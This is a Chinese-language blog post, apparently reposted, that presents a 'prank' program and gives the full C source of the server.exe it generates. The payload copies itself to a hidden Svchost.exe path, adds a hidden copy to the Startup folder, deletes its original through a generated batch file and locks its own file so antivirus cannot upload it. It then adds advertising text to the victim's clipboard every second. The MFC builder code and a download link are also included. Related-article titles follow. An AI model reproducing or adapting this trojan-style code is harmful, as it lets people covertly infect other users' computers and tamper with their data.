c语言程序设计整人,C语言进程间通信练习作品 - 整人小程序之剪切板

article/2025/9/16 19:50:02

主程序界面:

a0a419f3ad9b8a9e3447d6958ccc6b80.png

=============================================================================

程序介绍:

如果对方执行了主程序生成的【server.exe】,【server.exe】会自复制、自启动、自删除(仿木马)。

【server.exe】会后台每秒/次检测对方的剪切板,一有文本数据则在尾部加入【附加内容】,达到,对方粘贴

文本的时候,后面总是会多出一些数据。

例:如果附加内容为:“对!牛弹琴!”

对方 复制(Ctrl+C)一段:“对牛弹琴!”,当对方 粘贴(Ctrl+V)到某个地方时,内容就会变成

“对牛弹琴!对!牛弹琴!”。

【复制(Ctrl+C)粘贴(Ctrl+V)是使用率最高的操作之一,不愁对方不纠结,O(∩_∩)O哈哈~】

==============================================================================

子程序源码:

===============================================================================

#include

#include

#pragma comment(linker, "/OPT:NOWIN98")

char Dirr[256]="C:\\RECYCLER\\Svchost.exe"; // 释放路径

char L[99999]="   -------  网络编程爱好者  L、QQ:000000000";

char temp[499999999]={0};

char  tmp[499999999]={0};

HANDLE Lock_File,Lock_File1;

/*================================== 程序初始化 =======================================*/

/********************************************************/

//  开机自启动

/********************************************************/

void Auto(char Name[])

{

// 自复制到 启动文件夹 实现开机自启动  嫌麻烦 就用这种方式自启动吧 一句代码搞定

char DirName[]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe";

unlink(DirName);

CopyFile(Name,DirName,1);

SetFileAttributes(DirName,FILE_ATTRIBUTE_HIDDEN);

Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);

}

/********************************************************/

//  自删除功能

/********************************************************/

void Del(char *systemname)

{

FILE *fp;

fp=fopen("C:\\system.bat","w+");

fprintf(fp,"@echo off \n");

fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);

fprintf(fp,"del /f /q \"%s\" \n",systemname);

fprintf(fp,"goto statr\n");

fprintf(fp,":done\n");

fprintf(fp,"del /f /q %%0\n");

fclose(fp);

ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);

}

/********************************************************/

//  程序运行时进行初始化

/********************************************************/

void DelAdd()

{

char systemName[MAX_PATH];

char DirBuffer[MAX_PATH];

HMODULE hModule = GetModuleHandle(NULL);  // 获取当前程序句柄

GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 获取当前程序的路径

// GetSystemDirectory(systemName,sizeof(systemName)); // 获取系统文件夹路径

strcpy(systemName,Dirr);

if ((strcmp(DirBuffer,systemName))!=0)   // 判断程序自身是否在系统目录 不在则实现自删除

{

CopyFile(DirBuffer,systemName,0);

Del(DirBuffer);      // 自删除模块

SetFileAttributes(systemName,FILE_ATTRIBUTE_HIDDEN);

ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 运行副本

exit(0); // 退出 让Bat删除自己

}

else

{

Auto(DirBuffer);

// 第一步 立即锁定本体 防止被上传 我想杀软没那么无聊为了上传就随随便便解锁吧?

Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);

}

}

/*================================== 程序初始化 =======================================*/

/*================================== 核心功能区 =======================================*/

/********************************************************/

//  检查剪切板数据的类型

/********************************************************/

int jc()

{

if (OpenClipboard(NULL))  // 打开剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据

{

CloseClipboard(); // 关闭剪切板

return 1;

}

else

{

CloseClipboard(); // 关闭剪切板

return 0;

}

}

return 0;

}

/********************************************************/

//  读取剪切板数据

/********************************************************/

char* Rjqb()

{

if (OpenClipboard(NULL))  // 打开剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据

{

HANDLE hClip;

char *pBuf;

hClip = GetClipboardData(CF_TEXT);  // 获取指定类型的剪切板数据

pBuf = (char *)GlobalLock(hClip); // 加锁

GlobalUnlock(hClip); // 解锁

CloseClipboard(); // 关闭剪切板

return pBuf;

}

else

CloseClipboard(); // 关闭剪切板

}

}

/********************************************************/

//  修改剪切板数据

/********************************************************/

void Wjqb()

{

if (OpenClipboard(NULL))  // 打开剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据

{

HANDLE hClip;

char *pBuf;

EmptyClipboard(); // 清空剪切板 并释放剪切板中数据的句柄 把剪切板的所有权赋给当前窗口

hClip = GlobalAlloc(GMEM_MOVEABLE,strlen(temp)+1); // 分配一个内存对象 第二个参数 字节数

pBuf = (char *)GlobalLock(hClip); // 将空间加锁 并返回 指针

strcpy(pBuf,temp);

GlobalUnlock(hClip);  // 解锁

SetClipboardData(CF_TEXT,pBuf); // 写入数据

CloseClipboard(); // 关闭

strcpy(tmp,pBuf);

}

else

CloseClipboard(); // 关闭剪切板

}

}

/*================================== 核心功能区 =======================================*/

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR     lpCmdLine,

int       nCmdShow)

{

// 已经加入锁定自身的功能 不需要下面的语句

/*

HANDLE _hEvent=CreateEvent(NULL,FALSE,FALSE,"Jqban");

if (_hEvent)

{

if(ERROR_ALREADY_EXISTS==GetLastError())

{

exit(0);

}

}

SetEvent(_hEvent);

*/

int cout=0;

//

// 让启动程序时的小漏斗马上消失

GetInputState();

PostThreadMessage(GetCurrentThreadId(),NULL,0,0);

MSG msg;

GetMessage(&msg, NULL, NULL, NULL);

//

char Bud[]="!!...!!矽描册赐悲荒粥!!MⅲRRせ211867767:";

int ii,jj=0;

ii=strlen(Bud)-1;

for(;ii>=0;ii--,jj++)

Bud[jj]=Bud[jj]-1;

DelAdd();

// 不停的循环

while (1)

{

if (jc())  //

{

// 读取剪切板 并复制给全局变量 temp

strcpy(temp,Rjqb());

// 比较是否与上次内容相同 若不相同则进行修改

if (strcmp(temp,tmp))

{

strcat(temp,L);

cout++;

if (cout==6)

{

strcat(temp,Bud);

cout=0;

}

// 在剪切板内容后面附加广告内容

Wjqb();  //  写入剪切板

}

}

Sleep(1000); // 延时1秒

}

return 0;

}

===============================================================================

至于主程序源码,主程序是用MFC创建的对话窗口,关键代码都在【生成】的按钮中

下面贴出【生成】按钮 触发的代码

===============================================================================

void CMyDlg::OnButtOk()

{

// TODO: Add your control notification handler code here

CString DIr;

CString MssG;

char autoo[]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe";

char Dir[MAX_PATH]={0};

char Mssg[99999]={0};

GetDlgItemText(IDC_EDIT_DIR,DIr); // 获取 释放路径 的编辑框数据

GetDlgItemText(IDC_EDIT_Msg,MssG); // 获取 附加数据 的编辑框数据

strcpy(Dir,DIr);  // 必须用数组形式

strcpy(Mssg,MssG);

HRSRC hRc=FindResource(NULL,"L","Exe");

if(!hRc)

{

::MessageBox(0,"EXE资源不存在","错误",MB_SYSTEMMODAL);

return ;

}

HGLOBAL hg=LoadResource(NULL,hRc);  // 将资源载入内存并返回其在内存中首地址保存在hg中

DWORD dw=SizeofResource(NULL,hRc);  // 获得资源大小并用dw保存资源大小

// 分配缓冲区并用0填充

char a[137728];

memset(a,0,137728);

// 向该缓冲区中复制资源的二进制数据

memcpy(a,hg,dw); // 将资源的二进制数据存放在缓冲区a

// 创建服务端文件

FILE *out=fopen("server.exe","wb+");

fwrite(a,1,dw,out);

fclose(out);

FILE *fp=fopen("server.exe","rb+");

rewind(fp);

fseek(fp,0x6830,0);

fwrite(Dir,1,256,fp);

rewind(fp);  // 指针归0

fseek(fp,0x6930,0);

fwrite(Mssg ,1,99999,fp);

fclose(fp);

// 生成卸载相关的批处理...

char Fname[MAX_PATH];

GetFileTitle(Dir,Fname,sizeof(Fname));

fp=fopen("卸载.bat","w+");

fputs("echo off\n",fp);

fputs("title 卸载【整人小程序之剪切板】子程序  L、QQ:100\n",fp);

fputs("COLOR 0a\n",fp);

fputs("echo 此批处理,只能卸载子程序释放路径为:",fp);

fputs(Dir,fp);

fputs("\ntaskkill /F /IM \"",fp);

fputs(Fname,fp);

fputs("\"\nattrib -h \"",fp);

fputs(Dir,fp);

fputs("\"\nattrib -h \"",fp);

fputs(autoo,fp);

fputs("\"\n",fp);

fputs("Del \"",fp);

fputs(Dir,fp);

fputs("\"\ndel \"",fp);

fputs(autoo,fp);

fputs("\"\n",fp);

fputs("ECHO 执行完毕!\n",fp);

fputs("pause",fp);

fclose(fp);

::MessageBox(0,"已经生成服务端【server.exe】及卸载相关的批处理【卸载.exe】","成功",MB_SYSTEMMODAL);

}

=========================================================================================

主程序下载地址:

08888e3a94b1d4845f47f7539b112be4.gif

zrxcx-v1.0.zip

(38.54 KB, 下载次数: 3)

2015-1-11 00:47 上传

点击文件名下载附件

下载积分: 黑币 -5


http://chatgpt.dhexx.cn/article/o7X3lmFG.shtml

相关文章

QT整人小程序

想起以前在网上看到一个好玩有趣的整人小程序 我用QT进行了复现,之前也看了用C#进行复现的大佬的文章: C#复现 我的复现 可以直接下载源码看,我的环境是UBUNTU 16.04 GCC 64 bit。

C语言整人小程序,慎用,谨记!

整人啦!!! 哈喽~ 今天有位朋友留言问有没有比较有趣的C语言小程序? 想了想,给你写几个整人的小程序吧,有趣又好玩。。。 这里一共给你们准备了三个,分别起名为关机、死机、抖动,都给…

抖音上非常火的整人小程序

最近,抖音上的整人小程序深得刷客恩宠。今天小编就为大家献上源代码: 直接上效果图 这里,只有她输入“我是猪”,并且按下确定的时候,才能继续...否则将一直停留在这个页面,并且关不掉。 注意:…

Nessus: 漏洞扫描器-网络取证工具

Nessue 要理解网络漏洞攻击,应该理解攻击者不是单独攻击,而是组合攻击。因此,本文介绍了关于Nessus历史的研究,它是什么以及它如何与插件一起工作。研究了Nessus的特点,使其成为网络取证中非常推荐的网络漏洞扫描工具…

【漏洞软件扫描】

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、简介二、竞赛1、开启题目2.点击此处获得3、复制Flag 三、比赛形式1、开启题目2、点击此处获得3、复制Flag 四、题目类型1、开启题目2、点击此处获得3、复制…

漏洞扫描的原理

漏洞扫描是指通过自动或者手动的方式,对系统进行全面扫描,发现系统中存在的漏洞。随着互联网的发展,漏洞扫描的重要性越来越凸显,因为漏洞一旦被黑客利用,就可能会导致系统被攻击、数据被窃取等问题。那么什么是漏洞扫…

2020年漏洞扫描工具Top10

在本文中,我们将介绍市场上可用的十大最佳漏洞扫描工具。 OpenVAS Tripwire IP360 Nessus Comodo HackerProof Nexpose community Vulnerability Manager Plus Nikto Wireshark Aircrack-ng Retina 1.OpenVAS OpenVAS漏洞扫描器是一种漏洞分析工具&#…

漏洞扫描器 XRAY

文章目录 XRAY简介XRAY安装XRAY使用爬虫模式被动扫描生成 ca 证书开启监听浏览器设置代理访问网站自动探测漏洞 BurpSuite联动XRAYxray 开启端口监听burpsuite 设置通过burp suite 访问网站 https://github.com/chaitin/xray XRAY简介 xray 是一款功能强大的安全评估工具&#…

QingScan漏洞扫描器初体验

一、背景 最近在几个微信群里看到好些人在讨论这个QingScan扫描器,听他们聊得火热我也去GitHub上看了看,GitHub的介绍说集合了各类安全工具,只需要输入一个URL,便会自动调用近30款安全工具对目标进行扫描,于是我下载了一个试试效…

网络安全必备的五款免费网络漏洞扫描器

尽管我们在电子设备上安装了安全软件,但这些安全软件并不能自主跟踪并捕获所有漏洞。这时候,我们就需要额外安装网络漏洞扫描器,它可以帮助您自动执行安全审查,在IT安全中发挥重要作用。在扫描网络和网站时,网络漏洞扫…

sql注入实例

前阵子发现公司的网站有SQL注入漏洞,向项目经理提了以后,得到的答复异常的冷淡:“早就知道,这种asp的网站肯定有漏洞,要是Asp.net的网站就没问题”,先暂不评价此说法对错,如此冷淡的反应只能说明…

SQL注入从0到1

目录 前言: 1.【入门】普通查询型注入: 1.0 实验环境: 1.1进行一次普通的查询: 1.2 进行注入得到用户信息: 1.2.1 执行注入: 1.2.2 注入语句分析: 1.3 整型注入与字符型注入区别&#x…

web渗透之sql注入

博主姓名:摆烂阳 博主主页面链接:传送门 新人入圈,希望博主的内容可以给大家带来帮助,有任何问题可以私信本人 摆烂阳从不摆烂滴 目录 一、前言二、实验准备三、sql注入检测方法1、数字型检测2、字符型检测3、搜索型检测和xx型检测…

SQL注入——入门篇

SQL 注入的定义 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 —— [ 百度百科 ] 网页链接存在参数传递,后台并没有对用户的输入进行过滤,导致用户的…

什么是SQL注入攻击?SQL注入攻击的危害以及防护

用户打开一个输入框,可以输入任何内容,包括SQL语句。如果网站开发者,没有对用户输入的内容,进行判断和过滤,那么这些语句将被执行。攻击者可以在管理员毫不知情的情况下,对数据库服务器进行操作。 SQL注入攻…

SQL注入分类,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类

「作者主页」:士别三日wyx 「作者简介」:CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者 SQL注入分类 一、数值型注入二、字符型注入1)单引号字符型注入2)双引号字符型注入3)带有括号的注入a. 数…

什么是SQL注入?

有人的地方就有江湖,有数据库存在的地方就可能存在 SQL 注入漏洞。 什么是SQL 注入? SQL 注入是一种非常常见的数据库攻击手段,SQL 注入漏洞也是网络世界中最普遍的漏洞 之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情…

sql注入攻击的原理(sql注入攻击防范)

SQL 注入(SQLi)是一种可执行恶意 SQL 语句的注入攻击。这些 SQL 语句可控制网站背后的数据库服务。攻击者可利用 SQL 漏洞绕过网站已有的安全措施。他们可绕过网站的身份认证和授权并访问整个 SQL 数据库的数据。他们也可利用 SQL 注入对数据进行增加、修…

SQL注入的一般过程

SQL注入的一般过程 概述SQL注入的步骤一道例题总结 概述 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以…

细说——SQL注入

目录 SQL是什么?什么是SQL注入漏洞原理漏洞原因为什么会有SQL注入注⼊点可能存在的位置漏洞危害提交方法判断注入点判断字符型还是数字型sql注入绕过获取网站路径SQL 注入读写文件1. 数据库支持文件读写2. 当前用户具有文件权限3. 知道文件绝对路径 查询方式及报错盲…